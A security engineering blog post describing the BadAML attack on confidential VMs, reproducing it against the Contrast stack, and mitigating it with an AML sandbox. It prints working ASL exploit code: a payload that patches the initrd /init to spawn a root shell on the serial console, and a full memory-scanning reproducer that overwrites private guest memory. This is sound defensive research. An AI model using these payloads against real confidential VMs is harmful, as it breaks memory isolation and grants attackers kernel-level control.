BadAML is an attack that exploits host-supplied ACPI tables to gain arbitrary code execution inside confidential VMs, bypassing their memory isolation guarantees. Working on Contrast, we reproduced the attack end-to-end against our stack and mitigated it with an AML sandbox that restricts bytecode execution to shared memory pages.

On untrusted ground: Protecting guests with confidential computing

Confidential Computing (CC) is a paradigm that aims to protect trusted workloads on an untrusted, remote platform. Using Trusted Execution Environments (TEEs) and their two basic primitives, memory isolation and remote attestation, it can secure a confidential workload in a hostile environment, protecting against a potentially malicious infrastructure provider1 or platform operator. Today, TEEs most commonly come in the form of confidential virtual machines (CVMs), which are isolated from the host and other VMs through a set of ISA extensions and chip properties provided by the CPU vendor (AMD SEV-SNP, Intel TDX, ..).

Contrast is a Kubernetes runtime developed by Edgeless Systems, securing Kubernetes deployments by executing each pod in a CVM. I won’t go into the details of the Contrast feature set or its attestation story, as they are not essential here. For this article, Contrast is just a representative CVM-based CC workload. The attack described below applies to most CVM-based CC products available today. On the CVM side, Contrast follows a conventional VM stack: it uses QEMU as VMM, KVM as hypervisor, and OVMF as guest firmware. It starts a guest with a Linux kernel, initrd, and dm-verity protected rootfs. Contrast uses NixOS for the guest image and Nix as build system for the whole stack, which made the reproducer presented later much easier to build.

The attacker model for CVMs on the layer we are looking at is as follows: the attacker has full control over the host, including VMM and hypervisor. Code that is running within the guest (kernel, initrd, rootfs) is covered by the remote attestation measurement and can thus be verified to be trusted2.

The guest has two types of memory pages: private and shared. Private pages are encrypted by the CPU and only accessible by the guest, isolating the CVM’s memory from the host and other VMs. Shared pages are unencrypted and can be accessed by both the host and the guest. The guest needs shared pages for I/O with the host, such as virtio device communication, but its own code and data (kernel, initrd, rootfs) reside in private pages. The guest’s page table tracks which pages are private and which are shared, and the CPU enforces this separation in hardware.

ACPI: Power interface with a lot of power

The Advanced Configuration and Power Interface (ACPI) is a standard for hardware configuration and power management, supported by most operating systems on servers, desktops and VMs. Among other things, ACPI defines a set of in-memory data structures, referred to as ACPI tables, that are shared between the firmware and the OS. While some ACPI tables contain structured data in a predefined format, others carry ACPI Machine Language (AML) bytecode, a domain-specific and Turing-complete language. AML bytecode is interpreted by the kernel’s ACPI subsystem and may be triggered automatically by events such as device initialization or interrupts. Critically, AML code can access arbitrary physical memory addresses and device registers via OperationRegion definitions, including private guest pages, kernel memory and the mapped initrd.

ACPI overview. From the ACPI specification.

AML is compiled from a human-readable language called ACPI Source Language (ASL), usually using the iasl compiler. AML bytecode is typically placed in DSDT or SSDT tables, organized into device definitions that contain methods. The _INI method of a device is called during initialization, _Lxx and _Exx are invoked in response to General Purpose Events, and _STA is evaluated by the OS to determine device status.

In Contrast, ACPI tables are generated by QEMU based on the command line options. Depending on the configured memory, CPU count and devices, QEMU generates a set of ACPI tables and passes them to the guest via the fw_cfg interface, a virtual device for passing data from the host to the guest during boot. The guest firmware makes the tables available to the guest OS, which uses them to discover and configure hardware.

BadAML: arbitrary code execution in confidential VMs

In “BadAML: Exploiting Legacy Firmware Interfaces to Compromise Confidential Virtual Machines”, Takekoshi et al. present an attack on CVMs that exploits the ACPI interface to gain arbitrary code execution in the confidential guest3. The researchers craft an ACPI table with malicious AML bytecode and perform an AML injection attack. The malicious AML executes inside the kernel’s ACPI subsystem, giving it arbitrary guest-physical-memory access and, from there, a path to arbitrary code execution at kernel privilege level. In the paper’s Linux exploit, the attack runs during early boot, targeting deterministic structures like the initrd contents, making it reliable and repeatable. More broadly, the issue is not tied to one distro or kernel build: it affects guest stacks that trust host-supplied ACPI tables and execute AML without additional restrictions.

Overview of the BadAML attack. From the BadAML paper.

The specific attack presented in the paper targets the /init script in the initrd of the guest. The initrd is loaded into memory by the guest firmware (OVMF) alongside the kernel, and execution is passed to the kernel. During AML runtime in early kernel initialization, the initrd is thus mapped and accessible in memory. The payload uses the _INI method to execute code during device initialization and spawns a shell on the serial console. The attacker can then interact via the exposed serial device and gain full interactive root access to the CVM.

Walking through the BadAML ASL payload

The following is a walkthrough of the BadAML exploit presented in the paper4, which was published as part of their research artifacts. The payload is a single ACPI DefinitionBlock that defines an SSDT. It declares a new Device called FAKE with a hardware ID (_HID) of MSFT00035. Within the device, two OperationRegion/Field pairs define the attack’s I/O and memory primitives: COM0 maps the legacy serial port (data port OUTP and line status register LSR), and INRD reads a 64-bit pointer to the initrd from a hardcoded system memory address. The initrd itself resides in private pages inaccessible by the host.

DefinitionBlock ("", "SSDT", 6, "BADAML", "BADAML", 0x20240306)
{
    Scope (\_SB)
    {
        Device (FAKE)
        {
            Name (_HID, "MSFT0003")

            OperationRegion (COM0, SystemIO, 0x03F8, 0x06)
            Field (COM0, ByteAcc, Lock, Preserve)
            {
                OUTP,    8,
                Offset(5),
                LSR,     8
            }

            /* The value from "efi: INITRD=0x..." */
            OperationRegion (INRD, SystemMemory, 0x7da04f18, 64)
            Field (INRD, AnyAcc, NoLock, Preserve)
            {
                ADDR,   64,
            }

            // methods and _INI follow...
        }
    }
}

The key Method is PTCH, which provides the read-write primitive that makes the attack work. It creates an OperationRegion at an arbitrary address, reads the byte at that location, overwrites it, and returns the original value. A helper method DUMP writes a byte to the serial port as hex (using OUTP and LSR from above).

Method(PTCH, 2, Serialized)
{
    OperationRegion (TRGT, SystemMemory, Arg0, 0x00000008)
    Field (TRGT, AnyAcc, NoLock, Preserve)
    {
        DATA,   8
    }
    Local0 = DATA
    DATA = Arg1
    Return (Local0)
}

The _INI method is the attack entry point. It is triggered automatically during device initialization, reads the initrd pointer from ADDR, adds a fixed offset to locate the /init script, and patches it byte by byte using PTCH. Each DUMP(PTCH(addr, byte)) call overwrites one byte and prints the original to the serial port.

Method (_INI, 0, Serialized)
{
    // shortened...

    Local0 = ADDR       /* The value from "efi: INITRD=0x..." */
    Local0 += 0x26360   /* Offset of /init within the initrd */

    /* Patch /init byte by byte. Each call overwrites one byte
       and dumps the original to the serial port. */
    DUMP(PTCH(Local0,   0x63)) /* 'c' */
    DUMP(PTCH(Local0++, 0x64)) /* 'd' */
    DUMP(PTCH(Local0++, 0x20)) /* ' ' */
    DUMP(PTCH(Local0++, 0x73)) /* 's' */
    DUMP(PTCH(Local0++, 0x79)) /* 'y' */
    DUMP(PTCH(Local0++, 0x73)) /* 's' */
    DUMP(PTCH(Local0++, 0x72)) /* 'r' */
    DUMP(PTCH(Local0++, 0x6F)) /* 'o' */
    DUMP(PTCH(Local0++, 0x6F)) /* 'o' */
    DUMP(PTCH(Local0++, 0x74)) /* 't' */
    // ...shortened again, the full payload decodes to:
    //   cd sysroot && sh </dev/ttyS0 >/dev/ttyS0 & #
}

As a result, a root shell is spawned on the serial console. The full _INI and DUMP methods can be found in the research artifacts.

Limitations

The paper’s demonstration has a few practical limitations. First, the attack targets CVM offerings at various cloud providers, so the researchers weren’t able to test the actual attack path from the host to the guest, since they didn’t have control over the host. Instead, they used a kernel ACPI update mechanism in the initrd to load the malicious table from within the guest’s initrd during boot. Further, the initrd they use is uncompressed, simplifying the patching of the /init script. Finally, the attack code is tightly coupled to their specific setup, relying on hardcoded addresses of the initrd and target file offset.

Reproducing BadAML attack in Contrast

To protect against BadAML, we first wanted to understand the attack by building a working exploit against our own stack. Having a full end-to-end reproducer also gave us an automated way to verify that our fix actually works, so we integrated it into our CI as a regression test. In doing so, we addressed two of the limitations mentioned above: we implemented the full host-to-guest attack path and removed the dependency on hardcoded addresses. Since Contrast does not use cloud CVMs but rather runs on bare metal, we have control over the host and were thus able to implement the full attack path instead of relying on the ACPI update mechanism to load the payload from within the guest. Contrast ships the QEMU binary and a runtime to dynamically generate the command line options to start the guest, so injecting the ACPI table via the QEMU command line option -acpitable file=payload.aml was straightforward. Note that as these components are running on the host, they are untrusted, so the ability to modify the QEMU command line alone isn’t a vulnerability in Contrast but rather an expected capability of the attacker.

One of the first challenges was the lack of usable debug output. The serial console wasn’t easily accessible in our setup, so we looked for another way to get insights into what was happening during AML execution. The kernel has useful built-in debugging capabilities for ACPI. We enabled CONFIG_ACPI_DEBUG and configured the logging via command line parameters6. That enabled us to write debugging messages to the AML Debug object, which are then printed in the kernel log.

For setting up an automated test for this that could run as part of our CI, an interactive shell wasn’t the best target. We wanted to demonstrate a meaningful attack, but we also needed the guest to come up the usual way, and the attack result to be observable from within the guest during runtime. For this, we placed a target file in the initrd and set the attack goal to overwrite the file’s content, demonstrating the ability to write to private guest memory and exercising a path that is still close to the serial console shell from the paper. Similar to the setup in the paper, we disabled initrd compression to simplify the patching.

The hardest problem turned out to be finding the right memory address to write to. As described previously, the researchers used fixed addresses that they observed in the kernel log from within the guest. The location of the initrd is selected by the kernel EFI stub and usually placed at the end of the available memory. We observed that the address differed across platforms and memory sizes, and even changed after small modifications to the guest image, initrd, firmware, or the malicious ACPI table itself. We didn’t find a way to predict the address based on the guest artifacts and configuration without booting it. The offset of the target file within the initrd was easier to determine, but useless without the initrd start address. For an automated test, hardcoding addresses that might break on any change to the guest image was clearly not an option.

In a first approach, we tried to guess the approximate location of the initrd and scan byte by byte for its actual start. However, it turned out that the AML interpreter is quite slow, so scanning even a small memory range took a noticeable amount of time. On top of that, there is a timeout for while() loops in the ACPI implementation in the Linux kernel, limiting the total execution time of loops to about 30 seconds. A byte-by-byte scan of the full guest memory was simply not feasible within that budget.

The key insight was that, rather than trying to find the initrd, we could design the target file in a way that allows us to find it reliably. We increased the size of our target file and filled it with a repeating, known pattern DEADBEEF. Rather than scanning for the start of the initrd and calculating an offset, we could scan the entire guest memory for this pattern in large steps. If the file is 16MB and we step in 8MB increments, at least one probe is guaranteed to land inside it. This two-phase approach, with a coarse scan (CSCA in the code below) stepping through memory in 8MB increments, followed by a fine scan (FSCN) walking backwards to find the start of the pattern, allowed us to reliably locate the target file within the 30-second timeout, regardless of where the EFI stub placed the initrd. After finding the file, we patch the first 4 bytes with CAFEBABE, demonstrating the ability to write to private guest memory.

For convenience, we also added a systemd unit to the initrd that copies the file to /run, so it survives the early boot stage and can be checked from within the guest after booting.

// Copyright (c) 2026 Edgeless Systems GmbH
DefinitionBlock ("", "SSDT", 6, "BADAML", "BADAML", 0x20240306)
{
    Scope (\_SB)
    {
        Device (FAKE)
        {
            Name (_HID, "MSFT0003")

            // Read 4 bytes at address Arg0
            Method (RD32, 1, Serialized)
            {
                OperationRegion (RCHK, SystemMemory, Arg0, 4)
                Field (RCHK, DWordAcc, NoLock, Preserve)
                {
                    DVAL, 32
                }
                Return (DVAL)
            }

            // Coarse scan: starting at Arg0, take Arg1 steps of Arg2 bytes,
            // looking for pattern Arg3.
            // Returns address if found, 0 if not found.
            Method (CSCA, 4, Serialized)
            {
                Local0 = Arg0           // Current address
                Local1 = Arg1           // Iterations remaining
                While (Local1 > 0)
                {
                    // Check 4 byte offsets (0, 1, 2, 3) to handle misalignment
                    Local2 = 0
                    While (Local2 < 4)
                    {
                        If (RD32(Local0 + Local2) == Arg3)
                        {
                            Return (Local0 + Local2)
                        }
                        Local2 += 1
                    }
                    Local0 += Arg2
                    Local1 -= 1
                }
                Return (Zero)
            }

            // Fine scan backward from Arg0 to find start of pattern block.
            // Returns start address of contiguous pattern.
            Method (FSCN, 2, Serialized)
            {
                Local0 = Arg0
                While (One)
                {
                    Local1 = Local0 - 4
                    If (RD32(Local1) != Arg1)
                    {
                        Return (Local0)
                    }
                    Local0 = Local1
                }
                Return (Local0)
            }

            // Patch 4 bytes at Arg0 with value Arg1.
            // Returns original value.
            Method (PT32, 2, Serialized)
            {
                OperationRegion (TG32, SystemMemory, Arg0, 4)
                Field (TG32, DWordAcc, NoLock, Preserve)
                {
                    DWRD, 32
                }
                Local0 = DWRD
                DWRD = Arg1
                Return (Local0)
            }

            Method (_INI, 0, Serialized)
            {
                Debug = "BADAML: _INI started"

                // Scan base: 0x100000 (1MB) to skip legacy BIOS area.
                Local0 = 0x100000

                Debug = "BADAML: coarse scanning memory for 0xdeadbeef"

                // Coarse scan: 510 steps of 8MB (0x800000) = ~4GB of memory.
                // All values stay within 32 bits (max address ~0xFF100000).
                // The deadbeef file is 16MB, so an 8MB step guarantees a hit.
                // Note: DE AD BE EF read as little-endian DWORD = 0xEFBEADDE.
                Local2 = CSCA(Local0, 510, 0x800000, 0xEFBEADDE)

                If (Local2 != Zero)
                {
                    Debug = "BADAML: coarse hit, finding start of block"
                    // Fine scan backward to find start of the target file.
                    Local3 = FSCN(Local2, 0xEFBEADDE)
                    Debug = "BADAML: pattern block found, overwriting"
                    // Patch the first 4 bytes of the target file.
                    // Again, little-endian so we write 0xBEBAFECA.
                    PT32(Local3, 0xBEBAFECA)
                }
                Else
                {
                    Debug = "BADAML: 0xdeadbeef not found in memory"
                }

                Debug = "BADAML: done"
                /* Padding */
                NoOp
            }
        }
    }
}

Discussing mitigation strategies

The BadAML paper discusses different strategies for mitigating the attack.

The most straightforward approach is disabling ACPI completely, for example via kernel configuration7, or disabling the handling of dynamic ACPI tables in the firmware, preventing OVMF from handing the ACPI tables passed via fw_cfg to the guest kernel. Both variants reliably mitigate the attack by removing the attack channel completely. However, the impact on the functionality of the guest is huge. The guest can no longer rely on ACPI for operations such as shutdown, and fails to recognize multiple CPUs, PCI devices, interrupt controllers or NUMA topologies. Fallback to legacy mechanisms that predate ACPI is insufficient in most cases, and while it is possible to embed static ACPI tables into the firmware, the guest won’t be able to use resources that are provided dynamically by the host. For these reasons, and because Contrast heavily relies on support for dynamic devices that are provided by the host, we didn’t consider these approaches a viable solution.

Another strategy is to include the ACPI tables in runtime measurements so they can be verified through remote attestation8. With this approach the host can still provide dynamic tables, but the verifier can ensure they don’t contain malicious code. However, ensuring the legitimacy of ACPI tables on the verifier side is non-trivial. We came up with two different approaches for this. In the first approach, we would add a set of allowed reference values for each variation of the ACPI table we expect in different configurations. The result is a blow-up in the number of reference values, making the remote attestation procedure non-transparent and hard to retrace for a verifier, who would need to audit all allowed table variations. Another approach would be to send the tables along with their measurement to the verifier, and parse and interpret the tables to check their legitimacy. This would be more transparent and easier to audit, but also more complex in implementation, requiring Contrast to send the full ACPI tables along with the evidence, deriving expected tables for different workloads and implementing verification logic. To keep the attestation story of Contrast simple and easy to verify, we decided against measuring the ACPI tables9.

While we decided to go another way in Contrast, hardware vendors seem to be leaning towards this approach. Intel TDX provides runtime measurement registers (RTMRs), and TDVF10 already had support for measuring ACPI tables before the attack was presented. In their security bulletin AMD-SB-3012, AMD recommends either measuring or sanitizing ACPI tables, and points to mechanisms such as vTPM-based measured boot and the COCONUT-SVSM project. However, that guidance does not map cleanly to today’s production AMD CVM environments: COCONUT-SVSM is not production-ready, cloud offerings do not generally expose it, and support for BYOFW11 isn’t available either. So runtime measurements aren’t a viable solution for production on AMD, another reason for us to look for a different mitigation strategy.

We also explored validating ACPI tables at the OVMF level, a solution that wasn’t discussed in the paper. This was based on the observation that the ACPI tables in our stack consisted mostly of structured tables and only a few definition blocks containing AML code. For the structured tables, validation is straightforward: ensure they conform to the specification. For definition blocks, we prototyped a best-effort approach: allowlisting the small set of observed SystemMemory OperationRegions and blocking dynamic table loading opcodes such as Load and LoadTable. In the end we abandoned this approach, as the validation logic grew complex, required maintaining an allowlist, and was hard to make robust against bypasses such as QEMU’s linker/loader rewriting table contents after validation12.

Given our constraints of preserving ACPI and dynamic device support, working on today’s AMD deployments, and keeping attestation simple, the remaining option was also presented as part of the BadAML paper: a sandbox for AML code that restricts access to private pages. Whenever the AML interpreter accesses a memory page, the page table is consulted to check whether the page is private. If the page is private, the access is blocked. Reading or writing a private page from AML code will silently fail, returning a zero value for a read and discarding the write.

While an attacker can still execute AML code, the inability to access private memory pages removes the only viable target. Notice that the attacker can still read and manipulate shared pages and IO ranges, but as we assume the attacker has full control over the host, they can already do so through the hypervisor, so the attacker doesn’t gain any additional capabilities.

We’ve implemented this sandbox in a downstream kernel patch in Contrast, based on the sandbox described in the paper. Our version is simpler because we removed pieces that were irrelevant in our environment: Microsoft paravisor support, the page-table lookup cache, and Azure-specific allowances for reading UEFI firmware regions. The remaining changes mostly consist of the page table lookup, some logging and wiring to the AML interpreter. The reproducer described earlier doubles as a regression test for the sandbox: with the sandbox enabled, the AML memory scan completes but all writes to private pages are blocked, and the target file retains its original DEADBEEF content.

Conclusion

BadAML demonstrates that host-supplied ACPI tables are a real and practical attack vector against CVMs. AML bytecode executed by the kernel can read and write arbitrary guest memory, giving an attacker a direct path to code execution at kernel privilege level and bypassing the memory isolation that CVMs are designed to provide.

We reproduced the attack end-to-end against our own stack, implementing the full host-to-guest attack path and removing the dependency on hardcoded addresses that limited the original demonstration. This gave us both a deeper understanding of the attack and an automated regression test to verify our fix.

Among the mitigation strategies we evaluated, sandboxing proved to be the most practical choice for our environment. It preserves dynamic device support, works on today’s AMD deployments, and keeps the attestation model simple. The sandbox restricts AML memory accesses to shared pages, removing the attacker’s ability to reach private guest memory while not granting any capabilities beyond what the host already has.

For CVM-based confidential computing stacks that rely on host-provided ACPI tables, BadAML is a vulnerability that needs to be addressed. I hope that sharing our reproducer and mitigation approach helps others in the ecosystem do so.

References


Thanks

To Satoru Takekoshi, Manami Mori, Takaaki Fukai and Takahiro Shinagawa for their research and the BadAML paper. To my colleagues, especially Spyros Seimenis, for working through the attack together with me, discussing mitigation strategies and providing feedback on this article. And to Edgeless Systems, for giving me the opportunity to work on this.


  1. Note that current TEE technologies do not protect against an attacker with physical access to the hardware, but only against software-based attacks. ↩︎

  2. Given you have bit-by-bit reproducible builds that can be verified by a third party, another thing where Nix comes in handy. ↩︎

  3. Prior to the paper being published at ACM CCS in October 2025, the attack was already presented at BlackHat Europe in December 2024↩︎

  4. They published a second, very similar variant that targets “legacy” systems that only support older ACPI versions. ↩︎

  5. The device name and declared hardware ID are not relevant for the attack, but you can observe that the table was loaded from within the guest by looking for the MSFT0003 file in /sys/firmware/acpi/tables/↩︎

  6. The options acpi.debug_layer=0x80 and acpi.debug_level=0x02 did the trick for us. We also had to increase the log buffer size via log_buf_len=4M↩︎

  7. For the Linux kernel this can be done by passing acpi=off on the command line. ↩︎

  8. The BadAML paper mentions another solution that is similar in effect to measuring the ACPI tables: injecting static ACPI tables into the firmware blob. In this case, the tables are measured as part of the firmware, with pretty much the same effect and consequences as measuring them at runtime. ↩︎

  9. Independently of our work on mitigating BadAML in Contrast, we were already working on ensuring the measurements done by OVMF are as generic as possible and don’t include dynamic values that aren’t security relevant, allowing the host for example to dynamically decide on the amount of memory or vCPU count without affecting the resulting measurements. ↩︎

  10. TDVF is the TDX-specific target in edk2 that builds an OVMF variant for TDX guests. ↩︎

  11. (Bring Your Own Firmware). This would allow a customer to start a CVM with their own firmware, enabling the use of COCONUT-SVSM. One way to enable this might be the work around firmware UKIs (FUKI). ↩︎

  12. QEMU’s linker/loader commands are used to apply dynamic updates to the tables in firmware, including commands like ADD_POINTER that could shift an OperationRegion address after it has passed an allowlist check. Any validating checks would need to run again after these updates. ↩︎